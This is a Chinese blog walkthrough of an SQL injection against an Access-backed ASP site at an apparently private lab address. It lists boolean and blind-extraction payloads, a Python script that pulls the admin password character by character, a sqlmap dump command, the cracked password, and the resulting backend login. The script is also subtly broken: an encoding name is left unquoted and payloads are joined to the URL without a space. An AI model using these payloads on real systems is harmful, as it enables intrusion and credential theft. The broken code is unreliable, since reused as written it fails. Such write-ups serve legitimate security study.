首页 > 数据库技术 > 详细

一次Access注入

时间:2020-02-19 22:27:26      阅读:65      评论:0      收藏:0      [点我收藏+]

0x00:前言

一次Access数据库注入,微软办公软件-关系数据库管理系统

0x01:一般注入流程

(1)判断注入

技术分享图片

 

 1.在参数后面加  ‘     、  and 1=1   和   and 1=2,判断是否存在注入点

技术分享图片

 

错误的

 所以这里存在注入技术分享图片

 

 (2)猜解列名(字段)数

技术分享图片

 

结果:22列 

(3)猜解数据库相关信息

Access注入是暴力破解,Access没有库的概念

Access数据结构:

Access数据库

  表名

    列名

      数据

 

Mysql数据库的数据结构:

数据库A    =  网站A

       表名

    列名

      数据

数据库B   =   网站B

  表名

    列名

      数据

数据库C

  .......

如何判断数据库类型?

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
  Msysobjects为Access数据库内置表

但是我的没有任何报错啊

猜解表名

and exists(select * from 表名)

and (select count(*) from 表名)>=0

这里的表名自己猜,一般有admin、adminstrator。。。。

猜解字段名

and exists(select 字段名 from 表名)

and (select count(字段名) from 表名)>=0

常用字段名  username   password   admin  id  。。。。。

猜解字段内容

字段长度:and (select top 1 len(字段名) from 表名)=长度 (解释:top  1  表示admin字段的第一条记录,二分法测试长度)

字段内容:and (select top 1 asc(mid(字段名,1,1))from 表名)=ASCII码  (解释:字段名的第一条记录的第一个字母的ASCII码)

技术分享图片

 

 1.  手动一个一个试就可以

2.   脚本:

# -*- coding:UTF-8 -*-
import requests
import string

url = "http://192.168.109.142:8001/Production/PRODUCT_DETAIL.asp?id=1513"
guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation #字符

def getcolumnlen():
    for i in range(1,30):
        target = url + "and (select top 1 len(password) from admin) = " + str(i) #字段名password
        r = requests.get(target)
        r.encoding = gb2312
        if "工作服" in r.text:
            print("第一个字段长度:" + str(i))
            return i

def getmsg(len):
    result = ""
    for i in range(1,len+1):
        for j in range(48,127):
            target = url + "and (select top 1 asc(mid(password,{0},1)) from admin)= {1}".format(str(i),str(j))
            r2 = requests.get(target)
            r2.encoding = gb2312
            if "工作服" in r2.text: #这里只要选择正常返回的一个页面关键词就可以,比如“工作服”
                result += chr(j)
                print(result)

l = getcolumnlen()
getmsg(l)

技术分享图片

3.  用Burp的爆破模块也可以爆破

 

密码md5解密得bendss

 

扫一下后台登录网址

技术分享图片

 

 

登录后台

技术分享图片

 

 (4)这里还可以sqlmap

python2 sqlmap.py -u "URL" -T "admin" -C "id,password,login_count" --dump

0x03:总结

Access数据库的注入,还是和mysql有点不一样的,刚开始弄了半天的数据库名

 

一次Access注入

原文:https://www.cnblogs.com/liqik/p/12333378.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!